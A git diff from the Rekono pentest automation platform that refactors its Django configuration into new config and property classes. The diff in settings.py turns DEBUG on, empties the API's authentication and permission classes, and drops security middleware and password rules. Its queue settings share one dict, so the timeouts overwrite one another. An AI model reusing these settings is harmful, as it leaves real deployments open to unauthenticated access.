75d02d702..000000000 --- a/src/backend/rekono/apps.py +++ /dev/null @@ -1,7 +0,0 @@ -from django.apps import AppConfig - - -class RekonoConfig(AppConfig): - '''Django application for Rekono.''' - - name = 'rekono' diff --git a/src/backend/rekono/asgi.py b/src/backend/rekono/asgi.py index 3f867194b..bcbd208ef 100644 --- a/src/backend/rekono/asgi.py +++ b/src/backend/rekono/asgi.py @@ -1,15 +1,16 @@ -'''ASGI config for rekono project. +""" +ASGI config for rekono project. It exposes the ASGI callable as a module-level variable named ``application``. For more information on this file, see -https://docs.djangoproject.com/en/3.2/howto/deployment/asgi/ -''' +https://docs.djangoproject.com/en/4.2/howto/deployment/asgi/ +""" import os from django.core.asgi import get_asgi_application -os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'rekono.settings') +os.environ.setdefault("DJANGO_SETTINGS_MODULE", "rekono.settings") application = get_asgi_application() diff --git a/src/backend/rekono/config.py b/src/backend/rekono/config.py index ac9acec81..d9fedc845 100644 --- a/src/backend/rekono/config.py +++ b/src/backend/rekono/config.py @@ -1,87 +1,82 @@ -from typing import Any, Dict, List - +import os +from pathlib import Path +from typing import Any, List, Optional +from rekono.properties import Property +import sys import yaml -from security.crypto import generate_random_value -class RekonoConfigLoader: - '''Rekono config loader from configuration file.''' +class RekonoConfig: + def __init__(self) -> None: + self.testing = "test" in sys.argv + self.base_dir = Path(__file__).resolve().parent.parent + self.home = self._get_home() + self.reports = os.path.join(self.home, "reports") + self.wordlists = os.path.join(self.home, "wordlists") + self.logs = os.path.join(self.home, "logs") + self._create_missing_directories([self.reports, self.wordlists, self.logs]) + self.config_file = self._get_config_file() + with open(self.config_file, "r") as file: + self._config_properties = yaml.safe_load(file) + self.trusted_proxy = self._get_config(Property.TRUSTED_PROXY).lower() == "true" + self.allowed_hosts = self._get_allowed_hosts() + for property in Property: + if not hasattr(self, property.name.lower()) or not getattr( + self, property.name.lower() + ): + setattr(self, property.name.lower(), self._get_config(property)) - def __init__(self, filepath: str) -> None: - '''Rekono config constructor. + def _get_allowed_hosts(self) -> List[str]: + hosts = os.getenv(Property.ALLOWED_HOSTS.value[0]) + if hosts: + if " " in hosts: + allowed_hosts = hosts.split(" ") + elif "," in hosts: + allowed_hosts = hosts.split(",") + else: + allowed_hosts = [hosts] + return allowed_hosts + return self._get_config(Property.ALLOWED_HOSTS) - Args: - filepath (str): Configuration filepath - ''' - config = {} - if filepath: - with open(filepath, 'r') as config_file: # Read configuration file - config = yaml.safe_load(config_file) # Load configuration - # Rekono frontend URL - self.FRONTEND_URL = self.get_config_key(config, ['frontend', 'url'], 'https://127.0.0.1') - # Rekono root path - self.ROOT_PATH = self.get_config_key(config, ['rootpath']) - # Security - self.SECRET_KEY = self.get_config_key(config, ['security', 'secret-key'], generate_random_value(3000)) - self.ALLOWED_HOSTS = self.get_config_key( - config, - ['security', 'allowed-hosts'], - ['localhost', '127.0.0.1', '::1'] - ) - # Database - self.DB_NAME = self.get_config_key(config, ['database', 'name'], 'rekono') - self.DB_USER = self.get_config_key(config, ['database', 'user'], '') - self.DB_PASSWORD = self.get_config_key(config, ['database', 'password'], '') - self.DB_HOST = self.get_config_key(config, ['database', 'host'], '127.0.0.1') - self.DB_PORT = self.get_config_key(config, ['database', 'port'], 5432) - # Redis Queue - self.RQ_HOST = self.get_config_key(config, ['rq', 'host'], '127.0.0.1') - self.RQ_PORT = self.get_config_key(config, ['rq', 'port'], 6379) - # Email: SMTP configuration - self.EMAIL_HOST = self.get_config_key(config, ['email', 'host']) - self.EMAIL_PORT = self.get_config_key(config, ['email', 'port']) - self.EMAIL_USER = self.get_config_key(config, ['email', 'user']) - self.EMAIL_PASSWORD = self.get_config_key(config, ['email', 'password']) - self.EMAIL_TLS = self.get_config_key(config, ['email', 'tls'], True) - # Tools - self.TOOLS_CMSEEK_DIR = self.get_config_key(config, ['tools', 'cmseek', 'directory'], '/usr/share/cmseek') - self.TOOLS_LOG4J_SCAN_DIR = self.get_config_key( - config, - ['tools', 'log4j-scan', 'directory'], - '/opt/log4j-scan' - ) - self.TOOLS_SPRING4SHELL_SCAN_DIR = self.get_config_key( - config, - ['tools', 'spring4shell-scan', 'directory'], - '/opt/spring4shell-scan' - ) - self.TOOLS_GITTOOLS_DIR = self.get_config_key(config, ['tools', 'gittools', 'directory'], '/opt/GitTools') + def _get_config_file(self) -> str: + for filename in [ + "config.yaml", + "config.yml", + "rekono.yaml", + "rekono.yml", + ]: + path = os.path.join(self.home, filename) + if os.path.isfile(path): + break + return path - # -------------------------------------------------------------------------------------------------------------- - # DEPRECATED - # The following configurations are mantained for compatibility reasons with the previous version. - # This support will be removed in the next release, since this settings can be managed using the Settings page. - # -------------------------------------------------------------------------------------------------------------- - # Telegram Bot token - self.TELEGRAM_TOKEN = self.get_config_key(config, ['telegram', 'token']) - # Defect-Dojo - self.DD_URL = self.get_config_key(config, ['defect-dojo', 'url']) - self.DD_API_KEY = self.get_config_key(config, ['defect-dojo', 'api-key']) + def _get_home(self) -> str: + if self.testing: + home = os.path.join(self.base_dir, "testing", "home") + self._create_missing_directories([home]) + else: + home = self._get_config(Property.REKONO_HOME) + if not os.path.isdir(home): + home = str(self.base_dir.parent) + return home - def get_config_key(self, config: Dict[str, Any], path: List[str], default: Any = None) -> Any: - '''Get configuration value by dict path. Default value will be returned if value not found or it's null. + def _create_missing_directories(self, directories: List[str]) -> None: + for directory in directories: + if not os.path.isdir(directory): + os.mkdir(directory) - Args: - config (Dict[str, Any]): Configuration data - path (List[str]): Path to the configuration value - default (Any): Default value. By default None + def _get_config(self, property: Property) -> Any: + value = property.value[2] + if property.value[1]: + value = self._get_config_from_file(property.value[1]) or value + if property.value[0]: + value = os.getenv(property.name, value) + return value - Returns: - Any: Configuration value to apply - ''' - value = config - for key in path: - if key not in value or value.get(key) is None: # Value not found - return default # Return default value + def _get_config_from_file(self, property: str) -> Optional[Any]: + value = self._config_properties + for key in property.split("."): + if key not in value or not value.get(key): + return None value = value.get(key, {}) return value diff --git a/src/backend/rekono/environment.py b/src/backend/rekono/environment.py deleted file mode 100644 index 81d68268d..000000000 --- a/src/backend/rekono/environment.py +++ /dev/null @@ -1,50 +0,0 @@ -'''Environment variables used by Rekono.''' - -# Rekono home directory -ENV_REKONO_HOME = 'REKONO_HOME' - -# Rekono environment: indicate if Rekono is running with a trusted reverse proxy -RKN_TRUSTED_PROXY = 'RKN_TRUSTED_PROXY' -# Rekono frontend URL used to include links in notifications -RKN_FRONTEND_URL = 'RKN_FRONTEND_URL' -# Rekono root path to apply in API Rest documentation -RKN_ROOT_PATH = 'RKN_ROOT_PATH' - -# Security configuration -RKN_SECRET_KEY = 'RKN_SECRET_KEY' -RKN_ALLOWED_HOSTS = 'RKN_ALLOWED_HOSTS' - -# Database configuration -RKN_DB_NAME = 'RKN_DB_NAME' -RKN_DB_USER = 'RKN_DB_USER' -RKN_DB_PASSWORD = 'RKN_DB_PASSWORD' -RKN_DB_HOST = 'RKN_DB_HOST' -RKN_DB_PORT = 'RKN_DB_PORT' - -# Redis Queue configuration -RKN_RQ_HOST = 'RKN_RQ_HOST' -RKN_RQ_PORT = 'RKN_RQ_PORT' - -# SMTP configuration -RKN_EMAIL_HOST = 'RKN_EMAIL_HOST' -RKN_EMAIL_PORT = 'RKN_EMAIL_PORT' -RKN_EMAIL_USER = 'RKN_EMAIL_USER' -RKN_EMAIL_PASSWORD = 'RKN_EMAIL_PASSWORD' - -# Tools configuration -RKN_CMSEEK_RESULTS = 'RKN_CMSEEK_RESULTS' -RKN_LOG4J_SCAN_DIR = 'RKN_LOG4J_SCAN_DIR' -RKN_GITTOOLS_DIR = 'RKN_GITTOOLS_DIR' -RKN_SPRING4SHELL_SCAN_DIR = 'RKN_SPRING4SHELL_SCAN_DIR' - - -# -------------------------------------------------------------------------------------------------------------- -# DEPRECATED -# The following configurations are mantained for compatibility reasons with the previous version. -# This support will be removed in the next release, since this settings can be managed using the Settings page. -# -------------------------------------------------------------------------------------------------------------- -# Telegram bot configuration -RKN_TELEGRAM_TOKEN = 'RKN_TELEGRAM_TOKEN' -# Defect-Dojo configuration -RKN_DD_URL = 'RKN_DD_URL' -RKN_DD_API_KEY = 'RKN_DD_API_KEY' diff --git a/src/backend/rekono/logging.py b/src/backend/rekono/logging.py new file mode 100644 index 000000000..2db1214a6 --- /dev/null +++ b/src/backend/rekono/logging.py @@ -0,0 +1,32 @@ +import logging +from typing import Any + + +class LoggingFilter(logging.Filter): + """Logging filter for Rekono.""" + + def filter(self, record: Any) -> bool: + """Filter logging records. + + Args: + record (Any): Log record + + Returns: + bool: Indicate if log record is included or not + """ + if hasattr(record, "request"): + # Record with request data + record.source_ip = record.request.META.get("REMOTE_ADDR") + record.user = "anonymous" # Anonymous user by default + if ( + hasattr(record.request, "user") + and record.request.user + and record.request.user.id + ): + # Authenticated request + record.user = record.request.user.id + else: + # Record without request data + record.source_ip = record.source_ip if hasattr(record, "source_ip") else "" + record.user = record.user if hasattr(record, "user") else "anonymous" + return True diff --git a/src/backend/rekono/properties.py b/src/backend/rekono/properties.py new file mode 100644 index 000000000..576dcd583 --- /dev/null +++ b/src/backend/rekono/properties.py @@ -0,0 +1,43 @@ +from enum import Enum +from security.crypto import generate_random_value + + +class Property(Enum): + REKONO_HOME = ("REKONO_HOME", None, "/opt/rekono") + FRONTEND_URL = ("RKN_FRONTEND_URL", "frontend.url", "https://127.0.0.1") + ROOT_PATH = ("RKN_ROOT_PATH", "rootpath", None) + SECRET_KEY = ("RKN_SECRET_KEY", "security.secret-key", generate_random_value(3000)) + ALLOWED_HOSTS = ( + "RKN_ALLOWED_HOSTS", + "security.allowed-hosts", + ["localhost", "127.0.0.1", "::1"], + ) + TRUSTED_PROXY = ("RKN_TRUSTED_PROXY", None, "false") + DB_NAME = ("RKN_DB_NAME", "database.name", "rekono") + DB_USER = ("RKN_DB_USER", "database.user", "") + DB_PASSWORD = ("RKN_DB_PASSWORD", "database.password", "") + DB_HOST = ("RKN_DB_HOST", "database.host", "127.0.0.1") + DB_PORT = ("RKN_DB_PORT", "database.port", 5432) + RQ_HOST = ("RKN_RQ_HOST", "rq.host", "127.0.0.1") + RQ_PORT = ("RKN_RQ_PORT", "rq.port", 6379) + SMTP_HOST = ("RKN_SMTP_HOST", "email.host", None) + SMTP_PORT = ("RKN_SMTP_PORT", "email.port", None) + SMTP_USER = ("RKN_SMTP_USER", "email.user", None) + SMTP_PASSWORD = ("RKN_SMTP_PASSWORD", "email.password", None) + SMTP_TLS = (None, "email.tls", True) + CMSEEK_DIR = ( + "RKN_CMSEEK_RESULTS", + "tools.cmseek.directory", + "/usr/share/cmseek", + ) + LOG4J_SCAN_DIR = ( + "RKN_LOG4J_SCAN_DIR", + "tools.log4j-scan.directory", + "/opt/log4j-scan", + ) + SPRING4SHELL_SCAN_DIR = ( + "RKN_SPRING4SHELL_SCAN_DIR", + "tools.spring4shell-scan.directory", + "/opt/spring4shell-scan", + ) + GITTOOLS_DIR = ("RKN_GITTOOLS_DIR", "tools.gittools.directory", "/opt/GitTools") diff --git a/src/backend/rekono/settings.py b/src/backend/rekono/settings.py index 06e6426bc..613891864 100644 --- a/src/backend/rekono/settings.py +++ b/src/backend/rekono/settings.py @@ -1,152 +1,91 @@ -'''Django settings for rekono project. +""" +Django settings for rekono project. -Generated by 'django-admin startproject' using Django 3.2.7. +Generated by 'django-admin startproject' using Django 4.2.3. For more information on this file, see -https://docs.djangoproject.com/en/3.2/topics/settings/ +https://docs.djangoproject.com/en/4.2/topics/settings/ For the full list of settings and their values, see -https://docs.djangoproject.com/en/3.2/ref/settings/ -''' +https://docs.djangoproject.com/en/4.2/ref/settings/ +""" import os -import sys -from datetime import timedelta -from pathlib import Path from typing import Any, Dict -from authentications.enums import AuthenticationType -from findings.enums import PathType, Severity -from input_types.enums import InputTypeNames -from resources.enums import WordlistType -from targets.enums import TargetType -from tasks.enums import Status, TimeUnit -from tools.enums import IntensityRank - -from rekono.config import RekonoConfigLoader -from rekono.environment import (ENV_REKONO_HOME, RKN_ALLOWED_HOSTS, - RKN_CMSEEK_RESULTS, RKN_DB_HOST, RKN_DB_NAME, - RKN_DB_PASSWORD, RKN_DB_PORT, RKN_DB_USER, - RKN_EMAIL_HOST, RKN_EMAIL_PASSWORD, - RKN_EMAIL_PORT, RKN_EMAIL_USER, - RKN_FRONTEND_URL, RKN_GITTOOLS_DIR, - RKN_LOG4J_SCAN_DIR, RKN_ROOT_PATH, RKN_RQ_HOST, - RKN_RQ_PORT, RKN_SECRET_KEY, - RKN_SPRING4SHELL_SCAN_DIR, RKN_TRUSTED_PROXY) +from rekono.config import RekonoConfig ################################################################################ # Rekono basic information # ################################################################################ -# Rekono description -DESCRIPTION = 'Rekono is an automation platform that combines different hacking tools to complete pentesting processes' -VERSION = '1.6.1' # Rekono version -TESTING = 'test' in sys.argv # Tests execution +DESCRIPTION = "Rekono is an automation platform that combines different hacking tools to complete pentesting processes" +VERSION = "2.0.0" + ################################################################################ -# Paths and directories # +# Load configuration # ################################################################################ -# Build paths inside the project like this: BASE_DIR / 'subdir'. -BASE_DIR = Path(__file__).resolve().parent.parent - -if not TESTING: - # Rekono home directory. By default /opt/rekono - REKONO_HOME = os.getenv(ENV_REKONO_HOME, '/opt/rekono') - if not os.path.isdir(REKONO_HOME): # Rekono home doesn't exist - REKONO_HOME = str(BASE_DIR.parent) # Use current directory as home -else: - REKONO_HOME = os.path.join(BASE_DIR, 'testing', 'home') # Internal home directory for testing - if not os.path.isdir(REKONO_HOME): # Initialize home directory for testing - os.mkdir(REKONO_HOME) - -REPORTS_DIR = os.path.join(REKONO_HOME, 'reports') # Directory to save tool reports -WORDLIST_DIR = os.path.join(REKONO_HOME, 'wordlists') # Directory to save wordlist files -LOGGING_DIR = os.path.join(REKONO_HOME, 'logs') # Directory to save log files - -for dir in [REPORTS_DIR, WORDLIST_DIR, LOGGING_DIR]: # Initialize directories if needed - if not os.path.isdir(dir): - os.mkdir(dir) - -CONFIG_FILE = '' # Config file -for filename in ['config.yaml', 'config.yml', 'rekono.yaml', 'rekono.yml']: # For each config filename - if os.path.isfile(os.path.join(REKONO_HOME, filename)): # Check if config file exists - CONFIG_FILE = os.path.join(REKONO_HOME, filename) - break -CONFIG = RekonoConfigLoader(CONFIG_FILE) # Load configuration +CONFIG = RekonoConfig() ################################################################################ # Django # ################################################################################ +BASE_DIR = CONFIG.base_dir + # Application definition INSTALLED_APPS = [ - 'django.contrib.admin', - 'django.contrib.auth', - 'django.contrib.contenttypes', - 'django.contrib.sessions', - 'django.contrib.messages', - 'django.contrib.staticfiles', - 'django_filters', - 'taggit', - 'django_rq', - 'drf_spectacular', - 'rest_framework', - 'rest_framework.authtoken', - 'rest_framework_simplejwt', - 'rest_framework_simplejwt.token_blacklist', - 'authentications', - 'executions', - 'findings', - 'input_types', - 'parameters', - 'processes', - 'projects', - 'rekono', - 'resources', - 'security', - 'system', - 'targets', - 'tasks', - 'telegram_bot', - 'tools', - 'users' + "django.contrib.admin", + "django.contrib.auth", + "django.contrib.contenttypes", + "django.contrib.sessions", + "django.contrib.messages", + "django.contrib.staticfiles", + "drf_spectacular", + "rest_framework", + "taggit", + "authentications", + "input_types", + "parameters", + "projects", + "target_ports", + "targets", + "wordlists", ] MIDDLEWARE = [ - 'security.middleware.RekonoSecurityMiddleware', # Includes security response headers - 'django.middleware.security.SecurityMiddleware', - 'django.contrib.sessions.middleware.SessionMiddleware', - 'django.middleware.common.CommonMiddleware', - 'django.middleware.csrf.CsrfViewMiddleware', - 'django.contrib.auth.middleware.AuthenticationMiddleware', - 'django.contrib.messages.middleware.MessageMiddleware', - 'django.middleware.clickjacking.XFrameOptionsMiddleware', + "django.middleware.security.SecurityMiddleware", + "django.contrib.sessions.middleware.SessionMiddleware", + "django.middleware.common.CommonMiddleware", + "django.middleware.csrf.CsrfViewMiddleware", + "django.contrib.auth.middleware.AuthenticationMiddleware", + "django.contrib.messages.middleware.MessageMiddleware", + "django.middleware.clickjacking.XFrameOptionsMiddleware", ] -ROOT_URLCONF = 'rekono.urls' +ROOT_URLCONF = "rekono.urls" TEMPLATES = [ { - 'BACKEND': 'django.template.backends.django.DjangoTemplates', - 'DIRS': [ - os.path.join(BASE_DIR, 'email_notifications', 'templates') # Templates for email messages - ], - 'APP_DIRS': True, - 'OPTIONS': { - 'context_processors': [ - 'django.template.context_processors.debug', - 'django.template.context_processors.request', - 'django.contrib.auth.context_processors.auth', - 'django.contrib.messages.context_processors.messages', + "BACKEND": "django.template.backends.django.DjangoTemplates", + "DIRS": [], + "APP_DIRS": True, + "OPTIONS": { + "context_processors": [ + "django.template.context_processors.debug", + "django.template.context_processors.request", + "django.contrib.auth.context_processors.auth", + "django.contrib.messages.context_processors.messages", ], }, }, ] -WSGI_APPLICATION = 'rekono.wsgi.application' +WSGI_APPLICATION = "rekono.wsgi.application" ################################################################################ @@ -154,166 +93,122 @@ ################################################################################ # SECURITY WARNING: keep the secret key used in production secret! -SECRET_KEY = os.getenv(RKN_SECRET_KEY, CONFIG.SECRET_KEY) # Django secret key +SECRET_KEY = CONFIG.secret_key # SECURITY WARNING: don't run with debug turned on in production! -DEBUG = False - -TRUSTED_PROXY = os.getenv(RKN_TRUSTED_PROXY) == 'true' - -allowed_hosts = os.getenv(RKN_ALLOWED_HOSTS) -if allowed_hosts and ' ' in allowed_hosts: - ALLOWED_HOSTS = allowed_hosts.split(' ') # Multiple allowed hosts from env -elif allowed_hosts and ',' in allowed_hosts: - ALLOWED_HOSTS = allowed_hosts.split(',') # Multiple allowed hosts from env -elif allowed_hosts: - ALLOWED_HOSTS = [allowed_hosts] # One allowed host from env -else: - ALLOWED_HOSTS = CONFIG.ALLOWED_HOSTS # Default allowed hosts - -AUTH_USER_MODEL = 'users.User' # User model +DEBUG = True -OTP_EXPIRATION_HOURS = 24 # OTP expiration time in hours +TRUSTED_PROXY = CONFIG.trusted_proxy -# Password validation -# https://docs.djangoproject.com/en/3.2/ref/settings/#auth-password-validators +ALLOWED_HOSTS = CONFIG.allowed_hosts AUTH_PASSWORD_VALIDATORS = [ { - 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator', + "NAME": "django.contrib.auth.password_validation.UserAttributeSimilarityValidator", }, { - 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator', - 'OPTIONS': { - 'min_length': 8, - } + "NAME": "django.contrib.auth.password_validation.MinimumLengthValidator", + "OPTIONS": { + "min_length": 8, + }, }, { - 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator', + "NAME": "django.contrib.auth.password_validation.CommonPasswordValidator", }, { - 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator', + "NAME": "django.contrib.auth.password_validation.NumericPasswordValidator", }, - { - 'NAME': 'security.passwords.PasswordComplexityValidator', # Custom password policy - } ] -# JWT configuration -SIMPLE_JWT = { - 'ACCESS_TOKEN_LIFETIME': timedelta(minutes=5), # Access token expiration after 5 min - 'REFRESH_TOKEN_LIFETIME': timedelta(hours=1), # Refresh token expiration after 1 hour - 'ROTATE_REFRESH_TOKENS': True, - 'BLACKLIST_AFTER_ROTATION': True, - 'UPDATE_LAST_LOGIN': True, - 'ALGORITHM': 'HS512', - 'SIGNING_KEY': SECRET_KEY -} - -LOGGING = { # Logging configuration - 'version': 1, - 'disable_existing_loggers': True, # Disable default Django logging system - 'formatters': { - 'rekono': { - 'format': '%(asctime)s [%(levelname)s] - %(process)d %(module)s - %(source_ip)s - %(user)s - %(message)s' +LOGGING = { + "version": 1, + # Disable default Django logging system + "disable_existing_loggers": False, + "formatters": { + "rekono": { + "format": "%(asctime)s [%(levelname)s] - %(process)d %(module)s - %(source_ip)s - %(user)s - %(message)s" } }, - 'filters': { - 'rekono': { - '()': 'api.log.RekonoLoggingFilter', # Custom logging filter + "filters": { + "rekono": { + "()": "rekono.logging.LoggingFilter", # Custom logging filter } }, - 'handlers': { - 'console': { - 'class': 'logging.StreamHandler', - 'formatter': 'rekono', - 'filters': ['rekono'], + "handlers": { + "console": { + "class": "logging.StreamHandler", + "formatter": "rekono", + "filters": ["rekono"], + }, + "file": { + "class": "logging.handlers.RotatingFileHandler", + "filename": os.path.join(CONFIG.logs, "rekono.log"), + "maxBytes": 50 * 1024 * 1024, # Max. 50 MB per file + "backupCount": 10, + "formatter": "rekono", + "filters": ["rekono"], }, - 'file': { - 'class': 'logging.handlers.RotatingFileHandler', - 'filename': os.path.join(LOGGING_DIR, 'rekono.log'), - 'maxBytes': 50 * 1024 * 1024, # Max. 50 MB per file - 'backupCount': 10, - 'formatter': 'rekono', - 'filters': ['rekono'], - } }, - 'root': { - 'handlers': ['console', 'file'], - 'level': 'DEBUG' if DEBUG else 'INFO', - 'propagate': False, - } + "root": { + "handlers": ["console", "file"], + "level": "DEBUG" if DEBUG else "INFO", + "propagate": False, + }, } + ################################################################################ # API Rest # ################################################################################ -# nosemgrep: python.django.security.audit.django-rest-framework.missing-throttle-config.missing-throttle-config + REST_FRAMEWORK: Dict[str, Any] = { - 'DEFAULT_METADATA_CLASS': None, - 'DEFAULT_SCHEMA_CLASS': 'drf_spectacular.openapi.AutoSchema', - 'DEFAULT_FILTER_BACKENDS': [ - 'django_filters.rest_framework.DjangoFilterBackend', - 'api.filters.RekonoSearchFilter', - 'api.filters.RekonoOrderingFilter', + "DEFAULT_METADATA_CLASS": None, + "DEFAULT_SCHEMA_CLASS": "drf_spectacular.openapi.AutoSchema", + "DEFAULT_FILTER_BACKENDS": [ + "django_filters.rest_framework.DjangoFilterBackend", + "rest_framework.filters.OrderingFilter", + "rest_framework.filters.SearchFilter", ], - 'DEFAULT_PAGINATION_CLASS': 'api.pagination.Pagination', # Pagination configuration - 'ORDERING_PARAM': 'order', - 'DEFAULT_AUTHENTICATION_CLASSES': [ - 'rest_framework.authentication.TokenAuthentication', # Authentication via API token - 'rest_framework_simplejwt.authentication.JWTAuthentication', # Authentication via JWT token - ], - 'DEFAULT_PERMISSION_CLASSES': [ - 'rest_framework.permissions.IsAuthenticated', # Authentication required by default - 'rest_framework.permissions.DjangoModelPermissions', # Authorization based on permissions - 'security.authorization.permissions.ProjectMemberPermission', # and in project membership - ] + "DEFAULT_PAGINATION_CLASS": "framework.pagination.Pagination", + "DEFAULT_AUTHENTICATION_CLASSES": [], + "DEFAULT_PERMISSION_CLASSES": [], } -if not TESTING: # Rate limit only for real environments - REST_FRAMEWORK.update({ # pragma: no cover - 'DEFAULT_THROTTLE_CLASSES': [ - 'rest_framework.throttling.AnonRateThrottle', # Rate limit for anonymous users - 'rest_framework.throttling.UserRateThrottle', # Rate limit for authenticated users - 'rest_framework.throttling.ScopedRateThrottle', # Rate limit for specific cases - ], - 'DEFAULT_THROTTLE_RATES': { - # 2 requests by second by IP - # To allow requests from different users with same public IP address - # Note that most API requests requires authentication - 'anon': '100/min', - # 4 request by second by user - # It is enough for legitimate usage, but attacks will be blocked - 'user': '300/min', - # Prevent brute force attacks in login and refresh token features - # Login is not authenticated, we can receive many requests from different users with same public IP address - 'login': '30/min', - # The frontend can generate many refresh requests for the same user - 'refresh': '30/min', +if not CONFIG.testing: + # Rate limit only for production + REST_FRAMEWORK.update( # pragma: no cover + { + "DEFAULT_THROTTLE_CLASSES": [ + "rest_framework.throttling.AnonRateThrottle", # Rate limit for anonymous users + "rest_framework.throttling.UserRateThrottle", # Rate limit for authenticated users + "rest_framework.throttling.ScopedRateThrottle", # Rate limit for specific cases + ], + "DEFAULT_THROTTLE_RATES": { + # 2 requests by second by IP + # To allow requests from different users with same public IP address + # Note that most API requests requires authentication + "anon": "100/min", + # 4 request by second by user + # It is enough for legitimate usage, but attacks will be blocked + "user": "300/min", + # Prevent brute force attacks in login and refresh token features + # Login is not authenticated, we can receive many requests from different users with same public IP address + "login": "30/min", + # The frontend can generate many refresh requests for the same user + "refresh": "30/min", + }, } - }) + ) # Documentation SPECTACULAR_SETTINGS = { - 'TITLE': 'Rekono API Rest', - 'DESCRIPTION': DESCRIPTION, - 'VERSION': VERSION, - 'PREPROCESSING_HOOKS': [ - 'drf_spectacular.hooks.preprocess_exclude_path_format' - ], - 'ENUM_NAME_OVERRIDES': { - 'StatusEnum': Status.choices, - 'SeverityEnum': Severity.choices, - 'TimeUnitEnum': TimeUnit.choices, - 'IntensityEnum': IntensityRank.choices, - 'InputTypeNamesEnum': InputTypeNames.choices, - 'TargetTypeEnum': TargetType.choices, - 'AuthenticationTypeEnum': AuthenticationType.choices, - 'PathTypeEnum': PathType.choices, - 'WordlistTypeEnum': WordlistType.choices, - }, - 'SCHEMA_PATH_PREFIX_INSERT': os.getenv(RKN_ROOT_PATH, CONFIG.ROOT_PATH), + "TITLE": "Rekono API Rest", + "DESCRIPTION": DESCRIPTION, + "VERSION": VERSION, + "PREPROCESSING_HOOKS": ["drf_spectacular.hooks.preprocess_exclude_path_format"], + "ENUM_NAME_OVERRIDES": {}, + "SCHEMA_PATH_PREFIX_INSERT": CONFIG.root_path, } @@ -321,70 +216,45 @@ # Database # ################################################################################ -# https://docs.djangoproject.com/en/3.2/ref/settings/#databases - -if TESTING: - DATABASES = { # In memory database for testing - 'default': { - 'ENGINE': 'django.db.backends.sqlite3', - 'NAME': ':memory:' - } +if CONFIG.testing: + # In memory database for testing + DATABASES = { + "default": {"ENGINE": "django.db.backends.sqlite3", "NAME": ":memory:"} } else: # Production database - DATABASES = { # pragma: no cover - 'default': { - 'ENGINE': 'django.db.backends.postgresql', - 'NAME': os.getenv(RKN_DB_NAME, CONFIG.DB_NAME), - 'USER': os.getenv(RKN_DB_USER, CONFIG.DB_USER), - 'PASSWORD': os.getenv(RKN_DB_PASSWORD, CONFIG.DB_PASSWORD), - 'HOST': os.getenv(RKN_DB_HOST, CONFIG.DB_HOST), - 'PORT': os.getenv(RKN_DB_PORT, CONFIG.DB_PORT), + DATABASES = { # pragma: no cover + "default": { + "ENGINE": "django.db.backends.postgresql", + "NAME": CONFIG.db_name, + "USER": CONFIG.db_user, + "PASSWORD": CONFIG.db_password, + "HOST": CONFIG.db_host, + "PORT": CONFIG.db_port, } } + ################################################################################ # Redis Queues # ################################################################################ -RQ_QUEUES = { - 'tasks-queue': { - 'HOST': os.getenv(RKN_RQ_HOST, CONFIG.RQ_HOST), - 'PORT': os.getenv(RKN_RQ_PORT, CONFIG.RQ_PORT), - 'DB': 0, - 'DEFAULT_TIMEOUT': 3600 # 1 hour - }, - 'executions-queue': { - 'HOST': os.getenv(RKN_RQ_HOST, CONFIG.RQ_HOST), - 'PORT': os.getenv(RKN_RQ_PORT, CONFIG.RQ_PORT), - 'DB': 0, - 'DEFAULT_TIMEOUT': 28800 # 8 hours - }, - 'findings-queue': { - 'HOST': os.getenv(RKN_RQ_HOST, CONFIG.RQ_HOST), - 'PORT': os.getenv(RKN_RQ_PORT, CONFIG.RQ_PORT), - 'DB': 0, - 'DEFAULT_TIMEOUT': 10800 # 3 hours - }, - 'emails-queue': { - 'HOST': os.getenv(RKN_RQ_HOST, CONFIG.RQ_HOST), - 'PORT': os.getenv(RKN_RQ_PORT, CONFIG.RQ_PORT), - 'DB': 0, - 'DEFAULT_TIMEOUT': 3600 # 1 hour - } +default_rq_queue = { + "HOST": CONFIG.rq_host, + "PORT": CONFIG.rq_port, + "DB": 0, + "DEFAULT_TIMEOUT": 3600, # 1 hour } +RQ_QUEUES = { + "tasks-queue": default_rq_queue, + "executions-queue": default_rq_queue, + "findings-queue": default_rq_queue, + "emails-queue": default_rq_queue, +} -################################################################################ -# Email # -################################################################################ - -DEFAULT_FROM_EMAIL = 'Rekono ' # Email from address -EMAIL_HOST = os.getenv(RKN_EMAIL_HOST, CONFIG.EMAIL_HOST) # SMTP host -EMAIL_PORT = os.getenv(RKN_EMAIL_PORT, CONFIG.EMAIL_PORT) # SMTP port -EMAIL_HOST_USER = os.getenv(RKN_EMAIL_USER, CONFIG.EMAIL_USER) # User for auth in SMTP server -EMAIL_HOST_PASSWORD = os.getenv(RKN_EMAIL_PASSWORD, CONFIG.EMAIL_PASSWORD) # Password for auth in SMTP server -EMAIL_USE_TLS = CONFIG.EMAIL_TLS +RQ_QUEUES["executions-queue"]["DEFAULT_TIMEOUT"] = 28800 # 8 hours +RQ_QUEUES["findings-queue"]["DEFAULT_TIMEOUT"] = 10800 # 3 hours ################################################################################ @@ -392,18 +262,10 @@ ################################################################################ TOOLS = { - 'cmseek': { # CMSeeK - 'directory': os.getenv(RKN_CMSEEK_RESULTS, CONFIG.TOOLS_CMSEEK_DIR) - }, - 'log4j-scan': { # Log4j Scan - 'directory': os.getenv(RKN_LOG4J_SCAN_DIR, CONFIG.TOOLS_LOG4J_SCAN_DIR) - }, - 'spring4shell-scan': { # Spring4Shell Scan - 'directory': os.getenv(RKN_SPRING4SHELL_SCAN_DIR, CONFIG.TOOLS_SPRING4SHELL_SCAN_DIR) - }, - 'gittools': { # GitTools - 'directory': os.getenv(RKN_GITTOOLS_DIR, CONFIG.TOOLS_GITTOOLS_DIR) - } + "cmseek": {"directory": CONFIG.cmseek_dir}, + "log4j-scan": {"directory": CONFIG.log4j_scan_dir}, + "spring4shell-scan": {"directory": CONFIG.spring4shell_scan_dir}, + "gittools": {"directory": CONFIG.gittools_dir}, } @@ -412,7 +274,7 @@ ################################################################################ # Rekono frontend address. It's used to include links in notifications -FRONTEND_URL = os.getenv(RKN_FRONTEND_URL, CONFIG.FRONTEND_URL) +FRONTEND_URL = CONFIG.frontend_url ################################################################################ @@ -420,25 +282,23 @@ ################################################################################ # Internationalization -# https://docs.djangoproject.com/en/3.2/topics/i18n/ +# https://docs.djangoproject.com/en/4.2/topics/i18n/ -LANGUAGE_CODE = 'en-us' +LANGUAGE_CODE = "en-us" 